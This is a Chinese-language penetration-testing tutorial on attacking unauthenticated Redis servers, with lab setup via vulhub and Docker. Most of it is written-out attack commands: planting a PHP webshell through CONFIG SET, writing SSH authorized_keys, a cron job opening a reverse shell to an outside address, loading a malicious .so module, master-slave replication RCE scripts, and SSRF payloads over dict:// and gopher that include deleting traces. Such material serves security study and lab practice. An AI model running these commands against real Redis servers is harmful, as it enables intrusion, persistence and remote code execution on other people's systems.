redis是完全开源免费的,遵守BSD协议,是一个高性能的key-value数据库。Redis服务的默认端口是6379,默认是不设置密码,可以未授权访问,导致出现一些安全隐患。

环境搭建

redis-server
ubuntu:
docker

1
2
3
git clone https://github.com/vulhub/vulhub.git
cd ./vulhub/redis/4-unacc
docker-compose up -d

直接命令安装

1
2
3
4
5
6
sudo apt-get update
sudo apt-get install redis-server
#启动 Redis
redis-server
#启动client
redis-cli

较新版的默认是中允许本地访问,需要修改修改配置文件

redis-client
window:
下载地址:https://github.com/tporadowski/redis/releases

1
redis-cli.exe  -h redis-server地址 -p 6379

linux的利用

信息泄露

info命令可以看到Redis的版本、OS内核版本等信息

keys *来获取所有的(谨用,输出量过大的话很容易把环境崩掉)

flushall等相关命令可以将Redis数据库所有内容删除掉

写webshell

必要条件:

  • 知道网站绝对路径
  • 拥有网站目录写入权限

这种情况一般大都是出在了root权限执行的redis中,或者是以某个web服务来启动的redis,从而对web目录具有了可写的权限。

看redis数据库配置信息。
因为我们写Webshell会修改dir和dbfilename,所以这里查看配置信息主要记下原来的值,好在写入后修改回来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
192.168.10.6:6379> config set dir /var/www/html
OK
192.168.10.6:6379> config set dbfilename shell.php
OK
192.168.10.6:6379> set payload "\n<?php phpinfo();>\n"
OK
192.168.10.6:6379> save
OK
192.168.10.6:6379> del payload
(integer) 1
192.168.10.6:6379> config set dir /var/lib/redis
OK
192.168.10.6:6379> config set dbfilename dump.rdb
OK

写入公钥

必要条件:

  • 知道启动服务的用户
  • 拥有.ssh目录
  • 允许使用基于密钥认证的方式登陆

生成公钥

1
2
ssh-keygen -t rsa    生成公钥和私钥 
cd ~/.ssh 可看到公钥秘钥


写入到文件中,文件不会只有我们写入的内容,所以这里需要将公钥ye1s.pub的内容进行一个补充,在头尾加入换行符。

1
\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDqf40qpRVPYOeVLOzXRniIcRSoFr4LmF3Uhx9vsjECQjF0ZTQsb61zlSE5PMQXmf1IPeUVUKUwNkf5hsN9HgR/vTrfapCPvO9hClsZ3zD5YxO0aPoRqRWqhzRgLDgPfNRo0FUVUh0cKYl5JxwbrWFzFo+nFjRhF1xZfPLO4HgDakZBSdOzeNeSHjxL/tZsO5cywdoSBxrC4gc2089JDBdUQ8sPF1AL2G4lePOxc8aK7fCS0XPeizhJpfxdB+O2Bm1hrphP7+BGRPuZKLTT/5KS41TsXVVapT0azHBF1CLyjjDGKtZQZHHxWYnG+5/GFfnASKLOq37Dj6h6ADRZ+OP/ administrator@XTTD-2020QZVJYE\n\n

设置写入文件路径,文件名称,完成公钥的写入。
若为root启动redis服务,那么文件路径设置为/root/.ssh。
若为redis或者其他用户启动,那设置为/home/ye1s/.ssh。

1
2
3
4
5
6
7
8
9
10
192.168.10.6:6379>config set dir /home/ye1s/.ssh
OK
192.168.10.6:6379> config set dbfilename authorized_keys
OK
192.168.10.6:6379> set rsapub "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDS/qmMvZpN8eHd3gMAMnfPPFpapS2yZeNvCTu0ToHyLfA6fvbg7RF9an6++3TXVPOljxQ8ABmGs223v4/XTlosxoH1wZDHGuqvyokocdj0vXEN0REF1Kb2rm8F/TboqA9/dKFpZbyd1MjtnfkQn8R3NC+QKrQr7FDHp5wjqOoQ6xiFBbgKa55k68JoBUpI3r/dhQ9oTe0SODK6XUcl7QZDvoOPxW/1nwAy6lTRdBlw8OCFT2jU9BUNpwob28eepGHXYiv2d5/5sxYc47MtckWHwiBS8IyqJbvIn3m6j7oF8QRIRetlNET4wkbfGPPzjfinSsiiYY8NTe6BGkWPaUdz 431774437@qq.com\n\n"
OK
192.168.10.6:6379> save
OK
192.168.10.6:6379> del rsapub
(integer) 1

也需要将配置信息改回来

1
ssh -i ~/.ssh/ye1s ye1s@192.168.10.6

写定时任务反弹shell

必要条件:

  • 拥有计划任务目录写权限
  • 目标启动计划服务

定时任务的5个星号分别代表定时指定每分、小时、日、月、周

这个点其实蛮鸡肋,因为在debian、ubuntu等环境中由于这些环境对计划任务的格式解析非常严格是没办法执行成功,但是这个比前面那个比较好,主要是在centos环境的环境下默认root是可以通过这个方法拿到反弹shell的,所以还是指的说说的。

ubuntu无法利用的原因

  • /etc/crontab,脏数据解析失败
  • /var/spool/cron/crontabs/root,redis默认写入644非600,提示失败

Centos下的利用

实现命令:

1
2
3
4
set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/X.X.X.X/7789 0>&1\n\n'
config set dir /var/spool/cron/
config set dbfilename root
save

查看定时任务执行状态:

1
tail -f vim /var/log/cron

模块加载执行命令

必要条件

  • 目标服务器上有.so文件
  • redis支持module命令

在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。
so文件下载地址:exp.so
主要原理为webshell上传.so文件,然后通过redis的module命令进行加载.so

1
2
3
4
module load /tmp/557.so    加载模块
system.exec "whoami" 执行命令
module list 查看现有模块
module unload system 删除模块

主从复制

在2019年7月7日结束的WCTF2019 Final上,LC/BC的成员Pavel Toporkov在分享会上介绍了一种关于redis新版本的RCE利用方式,比起以前的利用方式来说,这种利用方式更为通用,危害也更大,下面就让我们从以前的redis RCE利用方式出发,一起聊聊关于redis的利用问题。

https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf
在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。

然后在从机上加载so文件,我们就可以执行拓展的新命令了

主从复制基础概念

环境搭建:

1
2
3
sudo docker pull redis:5.0
sudo docker run --name master -p 6379:6379 -d redis:5.0
sudo docker run --name slave -p 6378:6379 -d redis:5.0

看一下docker的ip地址

1
2
docker inspect master
docker inspect slave

这里的matser为172.17.0.2,slave为172.17.0.3

进入slave中,使用slaveof设置mater为主服务器

1
2
SLAVEOF 主服务器 6379 #可以将当前服务器转变为指定服务器的从属服务器
SLAVEOF NO ONE #将使得这个从属服务器关闭复制功能,并从从属服务器转变回主服务器

这里slave从master复制了b数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ye1s@ye1s:~/Desktop$ redis-cli -h 172.17.0.3 -p 6379
172.17.0.3:6379> slaveof 172.17.0.2 6379
OK
172.17.0.3:6379> get b
(nil)
172.17.0.3:6379> exit
ye1s@ye1s:~/Desktop$ redis-cli -h 172.17.0.2 -p 6379
172.17.0.2:6379> get b
(nil)
172.17.0.2:6379> set b ye1s
OK
172.17.0.2:6379> exit
ye1s@ye1s:~/Desktop$ redis-cli -h 172.17.0.3 -p 6379
172.17.0.3:6379> get b
"ye1s"
172.17.0.3:6379>

主从复制利用

主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master),后者称为从节点(slave);数据的复制是单向的,只能由主节点到从节点。

默认情况下,每台Redis服务器都是主节点;且一个主节点可以有多个从节点(或没有从节点),但一个从节点只能有一个主节点。

主从复制RCE主要原理就是,攻击机通过协议认证成为主节点,目标redis服务器为从节点,通过全量复制将文件内容输出到目标服务器上(也就是写入so文件)。然后加载.so文件,完成命令执行。

必要条件:

  • redis版本 >= 4.x

脚本下载

1
python redis-rce.py -L 192.168.10.8  -r 192.168.10.6  -f module.so

window的利用

踩坑记录-Redis(Windows)的getshell

SSRF对redis利用

简单探测redis服务:

1
2
3
4
1.curl "dict://127.0.0.1:6381"
2.回显
-ERR Unknown subcommand or wrong number of arguments for 'libcurl'. Try CLIENT HELP
+OK

dict

dict协议,字典服务器协议, A Dictionary Server Protocol
dict是基于查询响应的TCP协议。

使用格式:

1
dict://serverip:port/命令:参数

这里dict有个比较好的特点就是会再末尾补上\r\n

不好的是,命令多条的话,需要一条条地去执行,因为不支持传入换行,也不会对%0d%0解码。
dict协议的攻击:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
1.连接远程主服务器
curl dict://127.0.0.1:6381/slaveof:101.200.157.195:21000
2.设置保存文件名
curl dict://127.0.0.1:6381/config:set:dbfilename:exp.so
3.载入 exp.so
curl dict://127.0.0.1:6381/module:load:./exp.so
4.断开主从
curl dict://127.0.0.1:6381/slaveof:no:one
5.恢复原始文件名
curl dict://127.0.0.1:6381/config:set:dbfilename:dump.rdb
6.执行命令
curl dict://127.0.0.1:6381/system.exec:'whomai'
7.删除痕迹
curl dict://127.0.0.1:6381/system.exec:rm './exp.so
...'

gopher

互联网上使用的分布型的文件搜集获取网络协议。

支持多行输入。

使用格式:

1
gopher://serverip:port/_data

opher的第一个字符被吞掉了,还有没有发送quit ,
所以我们需要手动加一个字符如_
这里采取goherus.py,来实现快速利用吧。

1
2
git clone https://github.com/tarunkant/Gopherus.git
gopherus --exploit redis

参考文章:
浅析Linux下Redis的攻击面(一)
Redis安全小结
redis数据库在渗透中的利用
Redis 基于主从复制的 RCE 利用方式
踩坑记录-Redis(Windows)的getshell